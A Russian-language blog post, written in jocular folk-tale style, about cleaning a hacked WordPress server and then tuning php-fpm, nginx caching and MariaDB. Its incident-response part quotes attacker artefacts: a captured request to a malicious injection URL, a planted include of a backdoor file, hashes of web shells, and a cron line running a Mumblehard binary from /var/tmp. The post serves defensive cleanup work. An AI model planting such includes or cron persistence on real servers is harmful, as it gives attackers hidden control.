Pull to refresh

Сказ о том, как я сервер с WP лечил, или 700 юзеров онлайн на 2х ядрах

Reading time7 min
Views22K
День добрый, пятница ясная, бравый молодец иль девица красная!

Можешь мне верить, можешь мне не верить, но начался сей сказ с пары весточек на мою почту электронную и вот такой вот картины, красоты неписанной:



Это 500 бравых молодцев онлайн (по депеше от гугла) на движке заморском, wordpress именуемом, на сервере Intel Xeon E3 1245v2 (soyoustart, E3-SSD-3). К полотну была приложена рукописъ, помочь в оптимизации сего хозяйства.

Disclaimer: В данном материале показана быстрая диагностика глючного сервера и приведены конфиги, которые можно счесть полезными. Если вам есть что дополнить или критиковать, не стесняйтесь писать об этом в комментариях, ибо одна голова хуже две, две хуже чем три, а n-1 хуже чем n. Заразки, выдранные с сервера залиты на gist с соотв. комментариями как private, ясен пень, что не стоит их запускать на системе, для этого есть debug и ideone.com .

Я все еще лениво висел в скайпе и хотел снять порчу по телефону, как правило это получается, ибо копипаста не врет, пока пробелы после паролей не копируют.

netstat -ntu | awk '{print $5}'| cut -d: -f1 | sort | uniq -c | sort -nr | more

выдал:



После команды:

iptables -I INPUT -s 188.138.89.112 -j DROP

стало красиво:



Но весь php встал на дыбы, в том числе и залитый phpinfo().

Все еще подгоняемый желанием решить удаленно и нежеланием подключаться я попросил запустить

tcpdump -i eth0 dst host 188.138.89.112 -v -XX

и следом разбанить:

iptables -D INPUT -s 188.138.89.112 -j DROP

После чего мне отправили лог:

        Host: broin.top
        Accept: */*

        0x0000:  0007 b400 0102 3860 7713 ffbe 0800 4500  ......8`w.....E.
        0x0010:  006f 900d 4000 4006 0592 2e69 6086 bc8a  .o..@.@....i`...
        0x0020:  5970 d8f5 0050 3be0 6f97 6bd8 b0e4 8018  Yp...P;.o.k.....
        0x0030:  00e5 a54b 0000 0101 080a 03dd ffa0 4221  ...K..........B!
        0x0040:  da17 4745 5420 2f6c 6e6b 2f69 6e6a 2e70  ..GET./lnk/inj.p
        0x0050:  6870 2048 5454 502f 312e 310d 0a48 6f73  hp.HTTP/1.1..Hos
        0x0060:  743a 2062 726f 696e 2e74 6f70 0d0a 4163  t:.broin.top..Ac
        0x0070:  6365 7074 3a20 2a2f 2a0d 0a0d 0a         cept:.*/*....
20:33:17.765232 IP (tos 0x0, ttl 64, id 50803, offset 0, flags [DF], proto TCP (6), length 52)
    server.s.55540 > xray874.dedicatedpanel.com.http: Flags [.], cksum 0xa510 (incorrect -> 0x6231), ack 15929, win 477, options [nop,nop,TS val 64880546 ecr 1109514777], length 0
        0x0000:  0007 b400 0102 3860 7713 ffbe 0800 4500  ......8`w.....E.
        0x0010:  0034 c673 4000 4006 cf66 2e69 6086 bc8a  .4.s@.@..f.i`...
        0x0020:  5970 d8f4 0050 8d4b 3a3b a61a 0724 8010  Yp...P.K:;...$..
        0x0030:  01dd a510 0000 0101 080a 03dd ffa2 4221  ..............B!
        0x0040:  da19                                     ..
20:33:17.765486 IP (tos 0x0, ttl 64, id 50804, offset 0, flags [DF], proto TCP (6), length 52)
    server.s.55540 > xray874.dedicatedpanel.com.http: Flags [.], cksum 0xa510 (incorrect -> 0x5c72), ack 17377, win 500, options [nop,nop,TS val 64880546 ecr 1109514777], length 0
        0x0000:  0007 b400 0102 3860 7713 ffbe 0800 4500  ......8`w.....E.
        0x0010:  0034 c674 4000 4006 cf65 2e69 6086 bc8a  .4.t@.@..e.i`...
        0x0020:  5970 d8f4 0050 8d4b 3a3b a61a 0ccc 8010  Yp...P.K:;......
        0x0030:  01f4 a510 0000 0101 080a 03dd ffa2 4221  ..............B!

Видно, что дергается http://broin.top/lnk/inj.php, вот ссылка на gist и на декодированный.
Моя лень подсказала несчастному админу, мол найти все моменты влючения этого безобразия. Файлы были найдены, пути относительно «корня сайта»:


Следом я попросил скинуть мне index.php из WP и получил вот такое чудо

@include_once('./wp-includes/wp-mod.php');

В итоге под раздачу попала пачка файлов в /wp-includes/:

  • 9f120c79d956d543a1cd44902f0f50056b3338cc1136effb6c208bf46fcf74fd wp-010617.php
  • d0eb12533eed5d316504573976e611a71fd066f8fe5591422f6f49cdcaa8ff5e wp-0bf.php
  • cfb91fbc45eb7a74791a7845e7b18c2b8771b217ee27150a6f8422a1a073cc6d wp-accuracy.php
  • d67051bc4d20782f770dac771cfdf68e876156a0b012be2462f8a436dad07ceb wp-file.php
  • 5503f88744374570f9168216ee174ced87c80ef17d8f17accb2001f985862267 wp-fiscal.php
  • ee53973940016c403f457762e0c270d9729a101337bcdf3d6e4667b050549316 wp-mod.php
  • 5361bdbd75b368e79d17a47282f0ce6cd2759ccfdef8833ff38fe2a5dee95170 wp-obf.php
  • 89e96f69b8cb9d54959b300cc03b1312a0500c24ddffb6659e6acb688a1cfd8d wp-pas.php
  • 6c752d54255ead4b7db10e00f7b53ba9132b0c143c5bb3f667e2a81eb98801cc wp-wso.php

В общем больше нельзя было оставаться в стороне, и я забрал ssh доступ на скромный свеже установленный (февраль 2017) debian 7, php 5.4, демо ISP панель, приправленный proftpd… апачем до кучи (сайтами же рулил php-fpm)…

После поиска php файлов в разных директориях я нарвался на /wp-content/uploads/:

  • cfb91fbc45eb7a74791a7845e7b18c2b8771b217ee27150a6f8422a1a073cc6d wp-accuracy.php
  • 5503f88744374570f9168216ee174ced87c80ef17d8f17accb2001f985862267 wp-fiscal.php
  • 9b53f3e7243b78e6d0978817aab98c58e4598aa6a3c012ed10621b6e59c9283e wp-uso.php

Затем в папке /wp-content/plugins/, схожие файлы загружать не стал:

  • cfb91fbc45eb7a74791a7845e7b18c2b8771b217ee27150a6f8422a1a073cc6d wp-accuracy.php
  • 510785b58d10fc7687a63548adffc4cee82b68974fe1c349824d90cbfbfe39e7 wp-dojika.php
  • d67051bc4d20782f770dac771cfdf68e876156a0b012be2462f8a436dad07ceb wp-file.php
  • 5503f88744374570f9168216ee174ced87c80ef17d8f17accb2001f985862267 wp-fiscal.php
  • 86a4d9ef20d506eab64ece2ef1c6555bc2404c4ded0aac6a846d64837e1a509b wp-jojiro.php
  • 5361bdbd75b368e79d17a47282f0ce6cd2759ccfdef8833ff38fe2a5dee95170 wp-obf.php
  • 5361bdbd75b368e79d17a47282f0ce6cd2759ccfdef8833ff38fe2a5dee95170 wp-orekio.php
  • 89e96f69b8cb9d54959b300cc03b1312a0500c24ddffb6659e6acb688a1cfd8d wp-pas.php
  • 6c752d54255ead4b7db10e00f7b53ba9132b0c143c5bb3f667e2a81eb98801cc wp-wso.php

wp-dojika.php — фанат «Game of trones» как и wp-jojiro.php.

Как видно — они обфусцированы. В том или иной мере, что следующим шагом я выбрал все php с

grep -A 3 -B 3 --include=\*.php -rnw '/path/to/www/' -e ".*base64_decode.*"

и нашел еще один, WAIpro.php, из которого выдирается вот такой вот декодированный файлик, который дергает много разной гадости, как вот к примеру apiword.press/addadmin_1.txt (gist).

Файлы были перемещены для будущих ковыряний.

Траффик упал очень сильно. Через сутки зайдя и увидя повышенный траф я прописал:

tcpdump -i eth0 dst port 25 -v -XX

Я получил простыню, которая вертелась быстрее, чем армейский вентилятор из одноименного адегдота. После выключения php проблема не исчезла. Не верю, сказал я и ввел crontab -u admin -e.

… и, вишенкой на торте, стал вывод:

crontab -u admin -e

*/10 * * * * /var/tmp/eumqvTiN >/dev/null 2>&1

Затем sha256sum:

694fc1f7f17d5f3c447fcdb83fa6177b736b241430e70309a4b3111ef1d0e3b9  eumqvTiN

Который некто иной, как Linux/Mumblehard.U. Как он туда попадал… честно разбираться уже было лень. К счастью у несчастного админа была его старая виртуалка (OVH VPS SSD 3), проплаченная до 21 февраля, с которое сие было перенесено другим гореадмином 4 февраля по причине, того, что она (виртуалка) не справлялась с нагрузкой. И «несчастный админ» вышел на меня 6 февраля с простой просьбой по оптимизации сего хозяйства.

В итоге, сайт (как это возможно) был очищен от налепленных на него бяк, перенесен на переставленную старую виртуалку (которая бодро рассылала спам на всю ширину канала), и теперь показывает вот такие вот скромные числа, вот значение в пике (700 юзеров онлайн по googleAnal, кеш 3 сек):



Конфигурация достаточно простая: php-fpm 7.0.16 (7.1.1 не воспринимается некоторыми плагинами)

./configure --prefix=/opt/php-7.0 --with-pdo-pgsql --with-zlib-dir --with-freetype-dir --enable-mbstring --with-libxml-dir=/usr --enable-soap --enable-calendar --with-curl --with-mcrypt --with-zlib --with-gd --with-pgsql --disable-rpath --enable-inline-optimization --with-bz2 --with-zlib --enable-sockets --enable-sysvsem --enable-sysvshm --enable-pcntl --enable-mbregex --enable-exif --enable-bcmath --with-mhash --enable-zip --with-pcre-regex --with-pdo-mysql --with-mysqli --with-mysql-sock=/var/run/mysqld/mysqld.sock --with-jpeg-dir=/usr --with-png-dir=/usr --enable-gd-native-ttf --with-openssl --with-fpm-user=www-data --with-fpm-group=www-data --with-libdir=/lib/x86_64-linux-gnu --enable-ftp --with-imap --with-imap-ssl --with-kerberos --with-gettext --with-xmlrpc --with-xsl --enable-opcache --enable-fpm --enable-intl

+ memcached

fpm-fpm сидит в chroot'e,

[wwwsomeone]

listen = 127.0.0.1:9001
listen.allowed_clients = 127.0.0.1

user = wwwsomeone
group = wwwsomeone
pm = dynamic
pm.max_children = 50
pm.start_servers = 10
pm.min_spare_servers = 5
pm.max_spare_servers = 10
chroot = /path/to/folder
chdir = /
catch_workers_output = yes

Nginx тоже на достаточно простой конфигурации (fpm подцеплен на порте, а не на сокете), а кеш имеет вид:

fastcgi_cache_key "$scheme:$server_name:$server_port:$request_uri";
fastcgi_cache mapcgi;
fastcgi_cache_lock on;
fastcgi_cache_lock_timeout 6s;
fastcgi_cache_valid 200 301 302 304 3s;
fastcgi_cache_valid 403 404 10s;
fastcgi_no_cache $cookie_wordpress_auth_cookie;
fastcgi_cache_methods GET HEAD;

Где $cookie_wordpress_auth_cookie проверяет наличие куки wordpress_auth_cookie и запрещает кеширование ответов. Сейчас кеш составляет, отчего нагрузка упала больше всего:

fastcgi_cache_lock_timeout 10s;
fastcgi_cache_valid 200 301 302 304 2m;
fastcgi_cache_valid 403 404 30s;

Кеш лежит на ремдиске (tmpfs) объемом 1 Гб. Если кому интересны тесты такой же ВПС (но пустой), то вот они (gist).

Динамика отдается на 12 r/sec, статика на 256 r/sec. В принципе кеш всему голова… 470 онлайн без кеша nginx:



Вот с кешем nginx:



MySQL MariaDB отличается от дефолта кодом ниже:

[mysqld]
user		= mysql
pid-file	= /var/run/mysqld/mysqld.pid
socket		= /var/run/mysqld/mysqld.sock
port		= 3306
basedir		= /usr
datadir		= /var/lib/mysql
tmpdir		= /tmp
#init-connect='SET NAMES utf8'
lc-messages-dir	= /usr/share/mysql
language = /usr/share/mysql/english
skip-external-locking
bind-address = 127.0.0.1

collation-server = utf8_unicode_ci
character-set-server = utf8
event_scheduler = on

innodb_file_per_table = 1
innodb_flush_method=O_DIRECT
innodb_lock_wait_timeout = 50
innodb_buffer_pool_size = 1G

join_buffer_size = 32M

max_connections = 1024
max_allowed_packet = 256M
max_join_size = 4096000
myisam_sort_buffer_size = 32M
myisam-recover = BACKUP

thread_cache_size = 16
key_buffer_size=32M
net_buffer_length = 16K
read_buffer_size=64M
read_rnd_buffer_size = 8M
sort_buffer_size = 32M
bulk_insert_buffer_size = 256M
expire_logs_days = 10
max_binlog_size = 100M
#
tmp_table_size = 1G
max_heap_table_size = 1G
#
table_cache = 8192
open-files-limit = 262144
transaction-isolation = READ-COMMITTED
query_cache_type = 2
query_cache_limit = 2M
query_cache_size = 256M
connect_timeout=30
wait_timeout=300

Логи доступа и ошибок nginx пишутся активно (1.5Гб в день), 3 дня полет нормальный и сервер чистый, судя по логах и активности в целом, в том числе и в логе fpm.

Так же в логе fpm уже на свежем ВПС:

[16-Feb-2017 23:06:42] WARNING: [pool wwwюзер] child 15075 said into stderr: "NOTICE: PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function mysql_escape_string() in /www/wp-content/themes/одна-такая-старая-тема-которая-не-используется/functions.php:60"

  • 3622502af8083e53ced808af6ca7aca0bd3cb088d1df309964ab865f51ec90ca functions.php

После чего были поиски файлов, которые могут быть похожи на functions.php в той или иной мере (аналогичные команды), но ничего подозрительного найдено не было.

Следующим этапом будет запереть сайты за cloudflare, играя add_header Cache-Control "public, max-age=123456789"; для контента без авторизации и add_header Cache-Control "private, max-age=0"; когда кукисы присуствуют в ответе и включить их файрволл, обеспечив дополнительную защиту «несчастному админу» и его блогам.

Теплого вам солнца и настоящих выходных!
Tags:
Hubs:
Total votes 41: ↑26 and ↓15+11
Comments24

Articles